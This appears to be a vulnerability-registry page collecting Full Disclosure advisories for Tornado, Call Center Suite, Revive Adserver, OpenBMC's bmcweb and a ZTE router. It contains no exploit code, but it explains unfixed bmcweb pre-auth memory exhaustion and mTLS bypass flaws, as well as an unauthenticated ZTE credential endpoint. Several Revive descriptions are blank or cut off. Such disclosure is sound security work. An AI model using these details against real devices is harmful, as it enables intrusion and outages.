- GNA identifier
- GNA-1988 GCVE registry Recent publications
Recent vulnerabilities
387 GCVE records assigned by this organization as GNA-1988GCVE-1988-2026-0147
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 08:10
VLAI
EPSS
VEX
Title
[0day-rubbish] Tornado 2.11.3 Unauthenticated arbitrary file write to root RCE (storeTo=file: to cron) (9.8)
Summary
0day Rubbish Research Team is publicly disclosing a vulnerability in
Tornado 2.11.3.
Type: Unauthenticated arbitrary file write to root RCE (storeTo=file: to cron) (CWE-22)
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Impact: Unauthenticated attacker writes arbitrary files and achieves root command execution via cron
Authentication: unauthenticated / pre-auth
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/docmosis-tornado-unauth-storeto-file-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
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}
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GCVE-1988-2026-0071
Vulnerability from gna-1988 – Published: 2026-09-07 13:20 – Updated: 2026-09-11 08:08
VLAI
EPSS
VEX
Title
[0day-rubbish] Call Center Suite 10.10.1 Pre-authentication RCE (auth bypass + webroot write) (9.8)
Summary
TO: fulldisclosure () seclists org
SUBJECT: [0day-rubbish] Call Center Suite 10.10.1 Pre-authentication RCE (auth bypass + webroot write) (9.8)
FROM: disclosure () 0day-rubbish com
----BODY----
0day Rubbish Research Team is publicly disclosing a vulnerability in Call Center Suite 10.10.1.
Type: Pre-authentication RCE (auth bypass + webroot write) (CWE-306)
CVSS: 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Impact: Unauthenticated root RCE on the call center server, including call recordings, IVR configuration, and customer
data.
Authentication: unauthenticated / pre-auth
Full technical analysis and a reproducible proof-of-concept:
https://0day-rubbish.com/blog/voicent-savefile-unauth-rce
Project archive (ongoing disclosure series):
https://github.com/Exploit-Garbage/0day-Rubbish
Vendor has been notified. CVE ID is pending.
--
0day Rubbish Research Team
disclosure () 0day-rubbish com
https://0day-rubbish.com
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
CWE
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Vicidial | Call Center Suite |
Affected:
unknown
|
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GCVE-1988-2026-0376
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[REVIVE-SA-2026-002] Revive Adserver Vulnerabilities
Summary
========================================================================
Revive Adserver Security Advisory REVIVE-SA-2026-002
------------------------------------------------------------------------
https://www.revive-adserver.com/security/revive-sa-2026-002
------------------------------------------------------------------------
Date: 2026-06-03
Risk Level: Medium to High
Applications affected: Revive Adserver
Versions affected: <= 6.0.6
Versions not affected: >= 6.0.7
Website: https://www.revive-adserver.com/
========================================================================
========================================================================
1. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-34912
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3650504
https://github.com/revive-adserver/revive-adserver/commit/e1c9b8478
https://cwe.mitre.org/data/definitions/284.html
========================================================================
2. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-34913
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
========================================================================
Description
-----------
relationships.
Resolution
----------
References
----------
https://hackerone.com/reports/3650582
https://github.com/revive-adserver/revive-adserver/commit/f1b5e8504
https://cwe.mitre.org/data/definitions/284.html
========================================================================
3. Blind SQL Injection
========================================================================
Vulnerability Type: CWE-89: SQL Injection
CVE-ID: CVE-2026-34914
Risk level: High
CVSS Base Score: 8.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3653196
https://github.com/revive-adserver/revive-adserver/commit/b541d1d05
https://cwe.mitre.org/data/definitions/89.html
========================================================================
4. Reflected XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-34915
Risk level: Medium
CVSS Base Score: 6.1
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3653316
https://github.com/revive-adserver/revive-adserver/commit/b541d1d05
https://cwe.mitre.org/data/definitions/79.html
========================================================================
5. Remote Code Execution
========================================================================
Vulnerability Type: CWE-94: Code Injection
CVE-ID: CVE-2026-34916
Risk level: High
CVSS Base Score: 8.8
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3656781
https://github.com/revive-adserver/revive-adserver/commit/de3525e12
https://cwe.mitre.org/data/definitions/94.html
========================================================================
6. Improper Authentication
========================================================================
Vulnerability Type: CWE-287: Improper Authentication
CVE-ID: CVE-2026-34917
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3672641
https://github.com/revive-adserver/revive-adserver/commit/50c7dd3ba
https://cwe.mitre.org/data/definitions/287.html
========================================================================
7. Stored XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-44956
Risk level: Medium
CVSS Base Score: 5.4
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
Proper escaping has been added to the userlog details output.
References
----------
https://hackerone.com/reports/3669623
https://github.com/revive-adserver/revive-adserver/commit/6254115b7
https://cwe.mitre.org/data/definitions/79.html
========================================================================
8. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-44957
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3677576
https://github.com/revive-adserver/revive-adserver/commit/5860e2f86
https://cwe.mitre.org/data/definitions/284.html
========================================================================
9. Improper Access Control
========================================================================
Vulnerability Type: CWE-284: Improper Access Control
CVE-ID: CVE-2026-44958
Risk level: Medium
CVSS Base Score: 4.3
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3678828
https://github.com/revive-adserver/revive-adserver/commit/2af365841
https://cwe.mitre.org/data/definitions/284.html
========================================================================
10. Remote Code Execution
========================================================================
Vulnerability Type: CWE-94: Code Injection
CVE-ID: CVE-2026-44959
Risk level: High
CVSS Base Score: 8.8
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
========================================================================
Description
-----------
Resolution
----------
References
----------
https://hackerone.com/reports/3744200
https://github.com/revive-adserver/revive-adserver/commit/6c6161420
https://cwe.mitre.org/data/definitions/94.html
========================================================================
11. Stored XSS
========================================================================
Vulnerability Type: CWE-79: Cross-site Scripting
CVE-ID: CVE-2026-44960
Risk level: Medium
CVSS Base Score: 5.4
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
------------------------------------------------------------------------
Description
-----------
the username would be executed due to missing output sanitisation.
Resolution
----------
Proper escaping has been added to the audit log details output.
References
----------
https://hackerone.com/reports/3680090
https://github.com/revive-adserver/revive-adserver/commit/27bb9a8f5
https://cwe.mitre.org/data/definitions/79.html
========================================================================
12. Incomplete List of Disallowed Inputs
========================================================================
Vulnerability Type: CWE-184: Incomplete List of Disallowed Inputs
CVE-ID: CVE-2026-44961
Risk level: Medium
CVSS Base Score: 5.4
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
------------------------------------------------------------------------
Description
-----------
HackerOne community member barcrange (3l4) has reported that the XML‑RPC API
CVE‑2025‑55129. As a result, API users could create usernames that enabled
impersonation or stored XSS attacks.
Resolution
----------
Proper validation has been added where it was missing.
References
----------
https://hackerone.com/reports/3680090
https://github.com/revive-adserver/revive-adserver/commit/229cf361b
https://cwe.mitre.org/data/definitions/184.html
========================================================================
Solution
========================================================================
========================================================================
Contact Information
========================================================================
The security contact for Revive Adserver can be reached at:
<security AT revive-adserver DOT com>.
Please review https://www.revive-adserver.com/security/ before doing so.
--
Matteo Beccati
On behalf of the Revive Adserver Team
https://www.revive-adserver.com/
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
35 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | Revive Adserver Vulnerabilities |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0376 (this record)
- related CVE-2026-34912
- related CVE-2026-34913
- related CVE-2026-34914
- related CVE-2026-34915
- related CVE-2026-34916
- related CVE-2026-34917
- related CVE-2026-44956
- related CVE-2026-44957
- related CVE-2026-44958
- related CVE-2026-44959
- related CVE-2026-44960
- related CVE-2026-44961
{
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}
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}
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"credits": [
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"value": "========================================================================\nRevive Adserver Security Advisory REVIVE-SA-2026-002\n------------------------------------------------------------------------\nhttps://www.revive-adserver.com/security/revive-sa-2026-002\n------------------------------------------------------------------------\nDate: 2026-06-03\nRisk Level: Medium to High\nApplications affected: Revive Adserver\nVersions affected: \u003c= 6.0.6\nVersions not affected: \u003e= 6.0.7\nWebsite: https://www.revive-adserver.com/\n========================================================================\n\n\n========================================================================\n1. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-34912\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3650504\nhttps://github.com/revive-adserver/revive-adserver/commit/e1c9b8478\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n2. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-34913\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\nrelationships.\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3650582\nhttps://github.com/revive-adserver/revive-adserver/commit/f1b5e8504\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n3. Blind SQL Injection\n========================================================================\nVulnerability Type: CWE-89: SQL Injection\nCVE-ID: CVE-2026-34914\nRisk level: High\nCVSS Base Score: 8.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3653196\nhttps://github.com/revive-adserver/revive-adserver/commit/b541d1d05\nhttps://cwe.mitre.org/data/definitions/89.html\n\n\n========================================================================\n4. Reflected XSS\n========================================================================\nVulnerability Type: CWE-79: Cross-site Scripting\nCVE-ID: CVE-2026-34915\nRisk level: Medium\nCVSS Base Score: 6.1\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3653316\nhttps://github.com/revive-adserver/revive-adserver/commit/b541d1d05\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n5. Remote Code Execution\n========================================================================\nVulnerability Type: CWE-94: Code Injection\nCVE-ID: CVE-2026-34916\nRisk level: High\nCVSS Base Score: 8.8\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3656781\nhttps://github.com/revive-adserver/revive-adserver/commit/de3525e12\nhttps://cwe.mitre.org/data/definitions/94.html\n\n\n========================================================================\n6. Improper Authentication\n========================================================================\nVulnerability Type: CWE-287: Improper Authentication\nCVE-ID: CVE-2026-34917\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3672641\nhttps://github.com/revive-adserver/revive-adserver/commit/50c7dd3ba\nhttps://cwe.mitre.org/data/definitions/287.html\n\n\n========================================================================\n7. Stored XSS\n========================================================================\nVulnerability Type: CWE-79: Cross-site Scripting\nCVE-ID: CVE-2026-44956\nRisk level: Medium\nCVSS Base Score: 5.4\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\nProper escaping has been added to the userlog details output.\n\nReferences\n----------\nhttps://hackerone.com/reports/3669623\nhttps://github.com/revive-adserver/revive-adserver/commit/6254115b7\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n8. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-44957\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3677576\nhttps://github.com/revive-adserver/revive-adserver/commit/5860e2f86\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n9. Improper Access Control\n========================================================================\nVulnerability Type: CWE-284: Improper Access Control\nCVE-ID: CVE-2026-44958\nRisk level: Medium\nCVSS Base Score: 4.3\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3678828\nhttps://github.com/revive-adserver/revive-adserver/commit/2af365841\nhttps://cwe.mitre.org/data/definitions/284.html\n\n\n========================================================================\n10. Remote Code Execution\n========================================================================\nVulnerability Type: CWE-94: Code Injection\nCVE-ID: CVE-2026-44959\nRisk level: High\nCVSS Base Score: 8.8\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n========================================================================\n\nDescription\n-----------\n\n\nResolution\n----------\n\n\nReferences\n----------\nhttps://hackerone.com/reports/3744200\nhttps://github.com/revive-adserver/revive-adserver/commit/6c6161420\nhttps://cwe.mitre.org/data/definitions/94.html\n\n========================================================================\n11. Stored XSS\n========================================================================\nVulnerability Type: CWE-79: Cross-site Scripting\nCVE-ID: CVE-2026-44960\nRisk level: Medium\nCVSS Base Score: 5.4\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\n\nthe username would be executed due to missing output sanitisation.\n\nResolution\n----------\nProper escaping has been added to the audit log details output.\n\nReferences\n----------\nhttps://hackerone.com/reports/3680090\nhttps://github.com/revive-adserver/revive-adserver/commit/27bb9a8f5\nhttps://cwe.mitre.org/data/definitions/79.html\n\n\n========================================================================\n12. Incomplete List of Disallowed Inputs\n========================================================================\nVulnerability Type: CWE-184: Incomplete List of Disallowed Inputs\nCVE-ID: CVE-2026-44961\nRisk level: Medium\nCVSS Base Score: 5.4\nCVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N\n------------------------------------------------------------------------\n\nDescription\n-----------\nHackerOne community member barcrange (3l4) has reported that the XML\u2011RPC API\n\nCVE\u20112025\u201155129. As a result, API users could create usernames that enabled\nimpersonation or stored XSS attacks.\n\nResolution\n----------\nProper validation has been added where it was missing.\n\nReferences\n----------\nhttps://hackerone.com/reports/3680090\nhttps://github.com/revive-adserver/revive-adserver/commit/229cf361b\nhttps://cwe.mitre.org/data/definitions/184.html\n\n\n\n\n========================================================================\nSolution\n========================================================================\n\n\n\n\n========================================================================\nContact Information\n========================================================================\n\nThe security contact for Revive Adserver can be reached at:\n\u003csecurity AT revive-adserver DOT com\u003e.\n\nPlease review https://www.revive-adserver.com/security/ before doing so.\n\n\n--\nMatteo Beccati\nOn behalf of the Revive Adserver Team\nhttps://www.revive-adserver.com/\n\n\n\n\n\n\n\n\n\n\n\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0375
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
bmcweb (OpenBMC web server): four vulnerabilities — two unfixed, GHSA without a CVE
Summary
Hi all,
Posting a brief summary of a four-finding disclosure on bmcweb (the OpenBMC HTTP/Redfish web server), which ships in
BMC firmware on most modern enterprise servers — Intel, IBM, HPE, NVIDIA, and various ODMs.
Full timeline and analysis on the blog:
https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/
## Why bmcweb matters
A Baseboard Management Controller boots before the host CPU, has full control over the server (power, firmware,
console, in some configurations DMA), and is reachable from the management network. bmcweb is OpenBMC's HTTP front door
— Redfish API, web UI, KVM/console WebSocket. C++23 on Boost.Beast, single-threaded async, supports HTTP/1.1 and HTTP/2.
The single-threaded design means any blocking operation, large allocation, or event-loop stall takes the entire
management interface offline.
## The four findings
All reported 2026-02-23 to openbmc-security () lists ozlabs org.
| ID | Title | CVSS | Status |
|----|-------|------|--------|
| CONN-F2 | `Expect: 100-continue` bypasses body_limit (pre-auth OOM) | 7.5 | FIXED — commit `0b2049b0` (2026-04-21),
GHSA-p3gc-68x5-g9w3 |
| H2-F2 | HTTP/2 `Content-Length` trusted for `std::string::reserve()` (instant OOM) | 7.5 | FIXED — commit `62526bb0`
(2026-04-21), silent (no advisory) |
| H2-F1 | HTTP/2 no body_limit per stream (pre-auth OOM via streamed DATA frames) | 7.5 | UNFIXED — Gerrit 90580 today |
| AUTH-F6 | mTLS UPN suffix matching authenticates parent-domain / TLD-only certs | 6.8 | UNFIXED — Gerrit 90581 today |
## Three things worth flagging to this audience
1. **GHSA-p3gc-68x5-g9w3 has no CVE attached** (`cve_id: null`). It is not in NVD, OSV, the GitHub global Advisory
Database, or any distro security tracker that I checked. From a downstream-propagation perspective, the GHSA exists
only on the bmcweb security tab. The upstream maintainer's 2026-05-14 reply: "As far as I'm aware, there will be no CVE
assigned for this."
2. **One of two coordinated 2026-04-21 patches got an advisory; the other didn't.** CONN-F2 (the HTTP/1.1 bug) got
GHSA-p3gc. H2-F2 (the HTTP/2 sibling, same severity band, fix landed in the same minute) got no advisory at all. Anyone
applying bmcweb 3.0.0 because of the published advisory gets the H2-F2 fix as a side effect but doesn't know it.
3. **Intel firmware containing the unpatched binary is still on Intel's Download Center.** M50FCP BMC 2.94-0 (Download
Center ID 775817), dated January 2026, predates the upstream fix. I submitted CONN-F2 to Intel's bug bounty program
(Intigriti); triage accepted the scope, then closed out-of-scope under an "open-source projects we contribute to"
clause five hours later, despite the submission being explicitly about the vendor-distributed binary.
## H2-F1 (unfixed, posted today)
bmcweb's HTTP/1.1 path inherits its body limit from Boost.Beast's parser; the HTTP/2 path does not.
`HttpBody::reader::put()` in `http/http_body.hpp` appends incoming DATA-frame bytes to `value.str()` (a `std::string`)
with no size check. Authentication runs in `onRequestRecv()` on END_STREAM — i.e., after the full body has been
received and buffered. nghttp2 auto-replenishes flow-control windows by default; bmcweb does not set
`nghttp2_option_set_no_auto_window_update`.
Result: any client that can complete the TLS handshake (ALPN h2 is the default protocol path) can stream unlimited DATA
frames before authentication is ever attempted. The single-threaded event loop dies from OOM.
Suggested fix in Gerrit 90580 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580): per-stream byte counter on
`HttpBody::reader`, bound at the existing `BMCWEB_HTTP_BODY_LIMIT` (30 MiB by default).
## AUTH-F6 (unfixed, posted today)
`isUPNMatch()` in `http/mutual_tls.cpp` performs domain suffix matching when validating mTLS client certificates in
UserPrincipalName mode. The algorithm walks dot-separated labels right-to-left and returns true once the UPN domain
runs out of labels, regardless of how many hostname labels remain. The project's own existing unit test asserted the
consequence as expected behaviour:
EXPECT_TRUE(isUPNMatch("user@com", "hostname.region.domain.com"));
A certificate with a UPN that is just a TLD authenticates any BMC in that TLD; a parent-domain certificate
authenticates any nested BMC. CVSS 6.8 because UPN mode is opt-in (default is CommonName) and requires a CA-signed
client cert with the broad UPN.
Suggested fix in Gerrit 90581 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581): replace the walk with exact-match
plus one-label-prefix tolerance (preserves `user () domain com` matching `bmc-01.domain.com`; rejects deeper nesting).
## Disclosure status
Maintainer-side track is closed per Ed Tanous's 2026-05-14 reply ("This bug is no longer embargoed, and the fix is on
master. There's no longer a reason to send direct messages to the security responders. If you believe further action is
needed, please use the normal project communication channels."). Earlier today the H2-F1 and AUTH-F6 disclosures went
to openbmc () lists ozlabs org with their respective Gerrit changes. This Full Disclosure post is the broader-audience
signal.
Reproducers exist for CONN-F2 and H2-F1 (Python; pocs/bmcweb/ in my files). I am not attaching them; happy to share
with downstream vendor PSIRTs or fork maintainers on request.
Best regards,
binreaper
bobdabot () proton me
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | bmcweb OpenBMC web |
Affected:
unknown
|
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"value": "Hi all,\n\nPosting a brief summary of a four-finding disclosure on bmcweb (the OpenBMC HTTP/Redfish web server), which ships in \nBMC firmware on most modern enterprise servers \u2014 Intel, IBM, HPE, NVIDIA, and various ODMs.\n\nFull timeline and analysis on the blog:\n\n https://binreaper.pages.dev/posts/2026-05-27-bmcweb-disclosure/\n\n## Why bmcweb matters\n\nA Baseboard Management Controller boots before the host CPU, has full control over the server (power, firmware, \nconsole, in some configurations DMA), and is reachable from the management network. bmcweb is OpenBMC\u0027s HTTP front door \n\u2014 Redfish API, web UI, KVM/console WebSocket. C++23 on Boost.Beast, single-threaded async, supports HTTP/1.1 and HTTP/2.\n\nThe single-threaded design means any blocking operation, large allocation, or event-loop stall takes the entire \nmanagement interface offline.\n\n## The four findings\n\nAll reported 2026-02-23 to openbmc-security () lists ozlabs org.\n\n| ID | Title | CVSS | Status |\n|----|-------|------|--------|\n| CONN-F2 | `Expect: 100-continue` bypasses body_limit (pre-auth OOM) | 7.5 | FIXED \u2014 commit `0b2049b0` (2026-04-21), \nGHSA-p3gc-68x5-g9w3 |\n| H2-F2 | HTTP/2 `Content-Length` trusted for `std::string::reserve()` (instant OOM) | 7.5 | FIXED \u2014 commit `62526bb0` \n(2026-04-21), silent (no advisory) |\n| H2-F1 | HTTP/2 no body_limit per stream (pre-auth OOM via streamed DATA frames) | 7.5 | UNFIXED \u2014 Gerrit 90580 today |\n| AUTH-F6 | mTLS UPN suffix matching authenticates parent-domain / TLD-only certs | 6.8 | UNFIXED \u2014 Gerrit 90581 today |\n\n## Three things worth flagging to this audience\n\n1. **GHSA-p3gc-68x5-g9w3 has no CVE attached** (`cve_id: null`). It is not in NVD, OSV, the GitHub global Advisory \nDatabase, or any distro security tracker that I checked. From a downstream-propagation perspective, the GHSA exists \nonly on the bmcweb security tab. The upstream maintainer\u0027s 2026-05-14 reply: \"As far as I\u0027m aware, there will be no CVE \nassigned for this.\"\n\n2. **One of two coordinated 2026-04-21 patches got an advisory; the other didn\u0027t.** CONN-F2 (the HTTP/1.1 bug) got \nGHSA-p3gc. H2-F2 (the HTTP/2 sibling, same severity band, fix landed in the same minute) got no advisory at all. Anyone \napplying bmcweb 3.0.0 because of the published advisory gets the H2-F2 fix as a side effect but doesn\u0027t know it.\n\n3. **Intel firmware containing the unpatched binary is still on Intel\u0027s Download Center.** M50FCP BMC 2.94-0 (Download \nCenter ID 775817), dated January 2026, predates the upstream fix. I submitted CONN-F2 to Intel\u0027s bug bounty program \n(Intigriti); triage accepted the scope, then closed out-of-scope under an \"open-source projects we contribute to\" \nclause five hours later, despite the submission being explicitly about the vendor-distributed binary.\n\n## H2-F1 (unfixed, posted today)\n\nbmcweb\u0027s HTTP/1.1 path inherits its body limit from Boost.Beast\u0027s parser; the HTTP/2 path does not. \n`HttpBody::reader::put()` in `http/http_body.hpp` appends incoming DATA-frame bytes to `value.str()` (a `std::string`) \nwith no size check. Authentication runs in `onRequestRecv()` on END_STREAM \u2014 i.e., after the full body has been \nreceived and buffered. nghttp2 auto-replenishes flow-control windows by default; bmcweb does not set \n`nghttp2_option_set_no_auto_window_update`.\n\nResult: any client that can complete the TLS handshake (ALPN h2 is the default protocol path) can stream unlimited DATA \nframes before authentication is ever attempted. The single-threaded event loop dies from OOM.\n\nSuggested fix in Gerrit 90580 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90580): per-stream byte counter on \n`HttpBody::reader`, bound at the existing `BMCWEB_HTTP_BODY_LIMIT` (30 MiB by default).\n\n## AUTH-F6 (unfixed, posted today)\n\n`isUPNMatch()` in `http/mutual_tls.cpp` performs domain suffix matching when validating mTLS client certificates in \nUserPrincipalName mode. The algorithm walks dot-separated labels right-to-left and returns true once the UPN domain \nruns out of labels, regardless of how many hostname labels remain. The project\u0027s own existing unit test asserted the \nconsequence as expected behaviour:\n\n EXPECT_TRUE(isUPNMatch(\"user@com\", \"hostname.region.domain.com\"));\n\nA certificate with a UPN that is just a TLD authenticates any BMC in that TLD; a parent-domain certificate \nauthenticates any nested BMC. CVSS 6.8 because UPN mode is opt-in (default is CommonName) and requires a CA-signed \nclient cert with the broad UPN.\n\nSuggested fix in Gerrit 90581 (https://gerrit.openbmc.org/c/openbmc/bmcweb/+/90581): replace the walk with exact-match \nplus one-label-prefix tolerance (preserves `user () domain com` matching `bmc-01.domain.com`; rejects deeper nesting).\n\n## Disclosure status\n\nMaintainer-side track is closed per Ed Tanous\u0027s 2026-05-14 reply (\"This bug is no longer embargoed, and the fix is on \nmaster. There\u0027s no longer a reason to send direct messages to the security responders. If you believe further action is \nneeded, please use the normal project communication channels.\"). Earlier today the H2-F1 and AUTH-F6 disclosures went \nto openbmc () lists ozlabs org with their respective Gerrit changes. This Full Disclosure post is the broader-audience \nsignal.\n\nReproducers exist for CONN-F2 and H2-F1 (Python; pocs/bmcweb/ in my files). I am not attaching them; happy to share \nwith downstream vendor PSIRTs or fork maintainers on request.\n\nBest regards,\nbinreaper\nbobdabot () proton me\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
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GCVE-1988-2026-0373
Vulnerability from gna-1988 – Published: 2026-09-11 07:55 – Updated: 2026-09-11 07:55
VLAI
EPSS
VEX
Title
[SECURITY ADVISORY] CVE-2021-21735 - ZTE ZXHN H168N V3.5 Unauthenticated Admin Credential Leak
Summary
-----BEGIN SECURITY ADVISORY-----
Advisory ID: MONX-2021-001
CVE ID: CVE-2021-21735
Title: ZTE ZXHN H168N V3.5 - Unauthenticated Wizard Credential
Disclosure to Full Admin Compromise
Affected: ZTE ZXHN H168N V3.5
Date: 2026-05-20
Author: Mina Nageh Salalma (Monx Research)
Contact: minanageh379 () gmail com
Public URL:
https://github.com/minanagehsalalma/cve-2021-21735-zte-zxhn-h168n-admin-compromise
MITRE: https://www.cve.org/CVERecord?id=CVE-2021-21735
VULNERABILITY DESCRIPTION
--------------------------
The ZTE ZXHN H168N V3.5 firmware exposes quick-setup wizard endpoints that
return PPPoE credentials (ADUsername, VDUsername) and the WLAN KeyPassphrase
via the GetPassword action without requiring authentication. The firmware
routing allowlists these endpoints through a QuickSetupEnable branch.
In ISP-deployed configurations where the Wi-Fi password is reused as the
default admin password, this credential disclosure is a full admin
compromise
chain requiring a single unauthenticated HTTP request.
A bulk PoC script (zte_zxhn_h168n_bulk_poc.py) is included in the repository
for verifying scale of exposure.
CREDITS
-------
Mina Nageh Salalma (Monx Research)
https://github.com/minanagehsalalma
-----END SECURITY ADVISORY-----
_______________________________________________
Sent through the Full Disclosure mailing list
